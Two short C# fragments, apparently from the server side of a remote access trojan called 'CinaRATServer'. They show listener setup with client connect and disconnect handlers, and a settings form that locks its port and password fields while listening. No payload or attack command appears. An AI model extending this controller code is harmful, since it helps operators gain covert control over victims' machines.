private void InitializeServer() { ListenServer = new CinaRATServer(); ListenServer.ServerState += ServerState; ListenServer.ClientConnected += ClientConnected; ListenServer.ClientDisconnected += ClientDisconnected; }
public FrmSettings(CinaRATServer listenServer) { this._listenServer = listenServer; InitializeComponent(); if (listenServer.Listening) { btnListen.Text = "Stop listening"; ncPort.Enabled = false; txtPassword.Enabled = false; chkIPv6Support.Enabled = false; } ShowPassword(false); }